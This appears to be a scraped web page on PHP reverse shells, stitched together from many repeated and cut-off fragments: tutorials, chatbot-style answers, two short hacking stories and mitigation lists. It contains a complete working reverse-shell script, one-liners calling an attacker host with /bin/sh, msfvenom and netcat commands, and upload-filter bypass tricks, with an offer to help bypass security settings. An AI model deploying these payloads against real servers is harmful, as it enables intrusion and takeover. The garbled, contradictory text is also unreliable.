Reverse Shell Php May 2026
Find file upload vulnerability, LFI to RCE, or SQLi writing to disk.
Save the PHP script as rev.php and upload to a web‑accessible location.
A reverse shell is useless if the server cannot reach the internet.
Understanding reverse shells is critical for:
If you found this guide because you suspect a real attack on your system:
Would you like a focused guide on securing PHP applications against remote code execution (RCE) vulnerabilities — the root cause that enables most reverse shells?
This article is for educational purposes only. Unauthorized use of reverse shells is a crime. Always obtain written permission before testing.
The rain drummed against the window of Leo’s dimly lit apartment, mirroring the frantic clicking of his mechanical keyboard. He wasn’t a malicious actor, but a security researcher—a digital locksmith—and tonight, the lock in question was a forgotten image upload portal on a legacy server
For hours, the server had rejected him. "File type not allowed," it sneered at every file he tried to slip past its gates. It wanted images:
Leo smirked. He knew the server’s secret: it only checked the "Magic Numbers"—the first few bytes of a file that tell the computer what it is. He opened his terminal and pulled up the legendary pentestmonkey PHP reverse shell With the precision of a surgeon, he edited the script: The Target : He hardcoded his own IP address into the : He chose , a classic for listeners. The Disguise
: He prepended the GIF89a header to the file. To the server, it now looked like a harmless image; to Leo, it was a Trojan horse. "One more thing," he whispered. He renamed the file to shell.php.jpg . If the server was misconfigured, it would see the but execute the He hit "Upload." Successfully uploaded to /uploads/shell.php.jpg
Leo didn't celebrate yet. He opened a new terminal and started his listener: nc -lvnp 4444
The screen sat blank, a blinking cursor waiting for a heartbeat. He navigated his browser to the upload path:
A PHP reverse shell is a script that, when executed on a target web server, initiates an outbound connection back to your machine, providing a command-line interface to the server. This technique is commonly used during penetration testing to gain interactive access after discovering a file upload or code execution vulnerability. 1. Obtain a Reverse Shell Script
The most reliable way to establish a connection is to use an established, pre-written script.
Pentest Monkey PHP Reverse Shell: Widely considered the industry standard for PHP web shells. It provides a full interactive shell that supports interactive programs like ssh or su.
You can download it from the Pentest Monkey GitHub repository.
Kali Linux Local Copy: If you are using Kali Linux, a copy is already available at /usr/share/webshells/php/php-reverse-shell.php.
MSFVenom: You can generate a custom payload using Metasploit with the following command:msfvenom -p php/meterpreter_reverse_tcp LHOST= 2. Configure the Script
Before uploading, you must edit the script to point back to your machine. Open the .php file in a text editor like nano. Locate the $ip and $port variables.
Change $ip to your attacking machine's IP address (use your VPN IP if on a platform like Hack The Box).
Set $port to any open port on your machine (e.g., 4444 or 1234). 3. Start a Listener
On your attacking machine, you must set up a listener to "catch" the incoming connection. RootMe (CTF Walkthrough). A TryHackMe Lab | by Marduk I Am
I understand you're looking for information about reverse shells in PHP. This is an important topic for understanding server security, penetration testing (with proper authorization), and how attackers might attempt to compromise systems.
Below is an informative guide focused on defensive security — helping administrators and developers understand, detect, and prevent PHP reverse shell attacks.
Modern WAFs can detect common reverse shell patterns in POST/GET requests.
<?php set_time_limit(0); $ip = '192.168.1.100'; $port = 4444;$sock = @fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) die("No connection: $errstr ($errno)");
// Spawn a shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr );
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
if (is_resource($process)) // Forward socket <-> shell bidirectionally stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);
while (true) // Read from socket -> send to shell stdin $socket_read = fread($sock, 1024); if ($socket_read) fwrite($pipes[0], $socket_read); // Read from shell stdout -> send to socket $stdout_read = fread($pipes[1], 1024); if ($stdout_read) fwrite($sock, $stdout_read); // Read from shell stderr -> send to socket $stderr_read = fread($pipes[2], 1024); if ($stderr_read) fwrite($sock, $stderr_read); // Check if socket is dead if (feof($sock)) break; fclose($sock); proc_close($process);
?>
Look for HTTP requests containing base64-encoded payloads or long strings with fsockopen, stream_socket_client, etc.
A PHP reverse shell is a powerful technique, but it relies on two weaknesses:
Eliminate either one, and the attack fails. Defense in depth means patching both: restrict file uploads/execution AND block unexpected outbound connections.
Stay safe, get permission, and always hack ethically.
PHP reverse shell is a script—often just a single line—that forces a target server to "call back" to an attacker's machine, handing over full command-line control of the web server. In the world of cybersecurity, it is the ultimate "gotcha" for a penetration tester.
Here is the story of a classic digital heist involving this tool. The Legend of the "Profile Pic" Breach
The story begins with a security researcher, let's call him "Alex," testing a high-security corporate portal. To the casual observer, the site was a fortress, but Alex found a tiny crack: a profile picture upload
Alex didn't upload a photo of himself. Instead, he took the famous pentestmonkey PHP reverse shell , a legendary script used by hackers worldwide. The Cat-and-Mouse Game
The server's "guards" (security filters) were tough. Alex tried several tricks to sneak the script past them: The Disguise : He renamed shell.jpg.php shell.phtml to fool the extension check. The Magic Header
: He added "GIF89a;" to the top of the file, making the server think it was a GIF image. The Final Strike
: Eventually, he found that the server only checked the "Content-Type" header. By changing it to image/jpeg
while keeping the PHP code inside, he slipped through the gate. The Moment of Truth
Alex set up a "listener" on his own laptop (using a tool called Netcat), waiting in the dark for a connection. He then navigated to the URL of his "photo":
A PHP reverse shell is a script designed to establish an outbound connection from a target web server back to an attacker's machine. This technique is frequently used in penetration testing and CTF (Capture The Flag) challenges to gain remote command-line access while bypassing inbound firewall restrictions. Popular PHP Reverse Shell Tools
There are several well-known scripts and tools used to generate these shells:
Pentestmonkey's PHP Reverse Shell: Widely considered the standard, this script is highly reliable and easily configurable. You can find it on GitHub or pre-installed in Kali Linux under /usr/share/webshells/php.
MSFVenom: A powerful payload generator from the Metasploit Framework that can create custom PHP reverse shells using commands like msfvenom -p php/meterpreter_reverse_tcp.
Flast101's Cheat Sheet: Offers concise one-liner PHP commands using shell_exec to trigger shells through system binaries like /bin/bash or PowerShell. Typical Workflow for Implementation
A PHP reverse shell is a script that forces a target web server to initiate an outbound connection to an attacker's machine, providing an interactive command-line interface. This is commonly used in penetration testing to bypass firewalls that block incoming connections but allow outgoing ones. Popular PHP Reverse Shell Scripts
Pentestmonkey PHP Reverse Shell: The industry standard script for Linux targets; it provides a full interactive shell.
Ivan-Sincek PHP Reverse Shell: A modern alternative that includes both simple and advanced "web shells" for varied environments.
Windows-PHP-Reverse-Shell: Specifically designed for Windows targets, often utilizing binary execution to gain a shell. One-Liner Payloads
For quick execution via a command injection vulnerability, use these compact versions: Reverse Shells vs Bind Shells - ThreatLocker
A PHP reverse shell is a script that forces a target server to initiate an outgoing connection to an attacker's machine, providing a remote command-line interface. This method is often used by security professionals during authorized penetration testing to bypass inbound firewalls. Common PHP Reverse Shell Options
One-Liner (Command Line): A quick way to trigger a shell if you can execute PHP code directly:
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' Use code with caution. Copied to clipboard
Web Shell (File Upload): The simplest form for execution via a web browser: Use code with caution. Copied to clipboard
Feature-Rich Scripts: For more robust connections, professionals often use pre-made scripts available on GitHub: Reverse Shell Php
Pentestmonkey PHP Reverse Shell: A classic, reliable script for Linux-based targets.
Ivan-Sincek Reverse Shell: A modern alternative that often includes more advanced features.
p0wny-shell: A single-file, interactive web shell with a terminal-like interface. Security Considerations and Mitigation
Understanding how these scripts function is essential for system administrators and security researchers to implement effective defenses.
Ingress and Egress Filtering: Configuring firewalls to restrict unauthorized outgoing connections can prevent a reverse shell from reaching an external listener.
Code Auditing and Sanitization: Preventing vulnerabilities such as local file inclusion (LFI) or command injection is critical, as these are the primary vectors used to upload or execute such scripts.
Disable Dangerous Functions: In PHP environments, disabling functions like exec(), passthru(), shell_exec(), and system() in the php.ini file can significantly reduce the risk of shell execution.
Principle of Least Privilege: Ensuring that the web server user has minimal permissions on the operating system limits the potential impact if a shell is successfully executed.
Using these techniques against systems without explicit, written authorization is illegal and can lead to severe criminal charges. For those interested in learning more about cybersecurity in a legal environment, platforms like Hack The Box or TryHackMe provide sandboxed labs for practicing these skills safely.
A PHP reverse shell is a type of malicious script or legitimate administrative tool where a target server initiates an outbound connection to an attacker's machine, providing interactive command-line access. Unlike traditional "bind shells," which open a port and wait for a connection, reverse shells are highly effective at bypassing firewalls and Network Address Translation (NAT) because they appear as legitimate outbound traffic. What is a PHP Reverse Shell?
A PHP reverse shell exploits the fact that many web servers have the PHP interpreter installed and allow it to execute system-level commands. By executing a PHP script—often through a vulnerability like unrestricted file upload or remote code execution (RCE)—an attacker can force the server to "call back" to their own computer.
Bypassing Firewalls: Most firewalls are configured to block incoming connections but allow outgoing ones (e.g., for updates or web browsing). A reverse shell takes advantage of this "inside-out" vulnerability.
Interactive Control: Once the connection is established, the attacker can issue real-time shell commands, navigate the file system, and escalate privileges. Common PHP Reverse Shell Payloads
Attackers use various methods to establish these connections, ranging from simple one-liners to complex scripts. 1. PHP One-Liner (Command Line)
If an attacker has the ability to run a single command on the target, they might use a one-liner that utilizes fsockopen to create a TCP connection:php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
A reverse shell in PHP is a powerful technique used by penetration testers and security researchers to gain remote access to a server. Unlike a standard bind shell—where the target opens a port and waits for a connection—a reverse shell forces the target machine to initiate an outgoing connection to the attacker’s machine. This is highly effective because most firewalls are configured to block unsolicited incoming traffic but allow outgoing traffic. How a PHP Reverse Shell Works
The core logic of a PHP reverse shell involves three main steps:
Establishing a socket connection from the web server to the attacker's IP address.
Executing a system shell (like /bin/sh or cmd.exe) on the server.
Redirecting the shell’s input, output, and error streams through the established socket.
Once executed, the attacker gains an interactive terminal session on the server, running under the privileges of the web user (e.g., www-data or apache). Common PHP Reverse Shell Methods
There are several ways to implement this, ranging from one-liners to robust scripts. 1. The Exec Method
This method uses PHP’s built-in execution functions to call a system-level reverse shell command.
& /dev/tcp/10.0.0.1/4444 0>&1'"); ?> Use code with caution. 2. The Pentestmonkey Script
One of the most famous tools in the security community is the Pentestmonkey PHP reverse shell. It is a more complex script that handles socket communication manually, making it more reliable across different OS environments where /dev/tcp might not be available. 3. Using fsockopen
If functions like exec() or system() are disabled in the php.ini file, you can use fsockopen to create a raw connection.
$sock, 1=>$sock, 2=>$sock),$pipes); ?> Use code with caution. Execution Strategy
To use a PHP reverse shell, you generally follow this workflow:
Prepare the Listener: On your local machine, use a tool like Netcat to listen for the incoming connection: nc -lvnp 4444. Find file upload vulnerability, LFI to RCE, or
Upload the Payload: Upload the .php file to the target server via a file upload vulnerability or by exploiting a Local File Inclusion (LFI).
Trigger the Script: Navigate to the URL where the file is hosted (e.g., http://example.com).
Catch the Shell: Your Netcat listener will receive the connection, providing a command prompt. Mitigation and Defense
Protecting against reverse shells requires a multi-layered security approach:
Disable Dangerous Functions: Use the disable_functions directive in php.ini to block exec(), shell_exec(), system(), passthru(), and proc_open().
Egress Filtering: Configure your firewall to block all outgoing traffic from the web server except to known, necessary destinations (like update servers or APIs).
Input Validation: Sanitize all user inputs to prevent the initial upload or execution of malicious scripts.
File System Permissions: Ensure the web user does not have write permissions to directories where scripts can be executed.
If you want to dive deeper into bypassing specific security configurations or securing a server:
Operating system (Linux, Windows, or a specific CMS like WordPress)
Specific constraints (functions disabled in php.ini or firewall rules) Analysis goals (malware forensics or exploit development)
Tell me your focus and I'll provide the specific technical details or code snippets you need.
This report examines the mechanics, implementation, and security implications of PHP-based reverse shells, a common technique used by security researchers and malicious actors to gain remote access to web servers. Executive Summary
A PHP reverse shell is a script that, when executed on a target server, initiates an outbound connection to an attacker-controlled machine. This provides the attacker with an interactive command-line interface (shell) running with the privileges of the web server user (e.g., www-data or apache). 1. Core Mechanisms
The primary goal of a reverse shell is to bypass firewalls that typically block incoming connections but allow outgoing traffic.
Outgoing Connection: The script is programmed with a hardcoded IP address and port.
Process Spawning: It uses PHP functions like proc_open(), system(), or shell_exec() to spawn a shell (such as /bin/sh or /bin/bash on Linux).
I/O Redirection: The script redirects the shell's standard input (stdin), output (stdout), and error (stderr) to the established TCP connection. 2. Common Implementation Scenarios
Reverse shells are often the "second stage" of an attack, following a successful initial exploit.
A PHP reverse shell is a common technique used in penetration testing where a compromised target machine initiates a connection back to an attacker's machine . Unlike a bind shell, which waits for an incoming connection, a reverse shell bypasses inbound firewall rules by sending traffic outward to the attacker . How it Works
A reverse shell typically follows a simple three-step process:
Listener Setup: The attacker opens a port on their machine (e.g., using nc -lvnp 1234) to wait for the incoming connection .
Payload Delivery: The attacker uploads or injects a PHP script onto the target web server .
Execution: When the PHP script is executed, it opens a TCP socket and connects to the attacker’s IP and port, providing an interactive command-line shell . Common Methods & Scripts
PHP reverse shells vary in complexity, from simple one-liners to feature-rich scripts: Dhayalanb/windows-php-reverse-shell - GitHub
$evalCode = gzinflate(base64_decode($payload)); $evalArguments = " ". $port." ". $ip; $tmpdir ="C:\\windows\\temp"; chdir($tmpdir) pentestmonkey/php-reverse-shell - GitHub
php-reverse-shell * Resources. Readme. * Stars. 2.8k stars. * Watchers. 48 watching. * Forks. 1.9k forks. Reverse shell PHP with GET parameters - Stack Overflow
Creating a PHP reverse shell involves two main components: a listener on your machine to catch the connection and a payload uploaded to the target server to initiate it. 1. Set Up the Listener
Before executing the PHP code, you must have a listener waiting for the incoming connection. Netcat is the standard tool for this. Run this command on your local machine: If you found this guide because you suspect
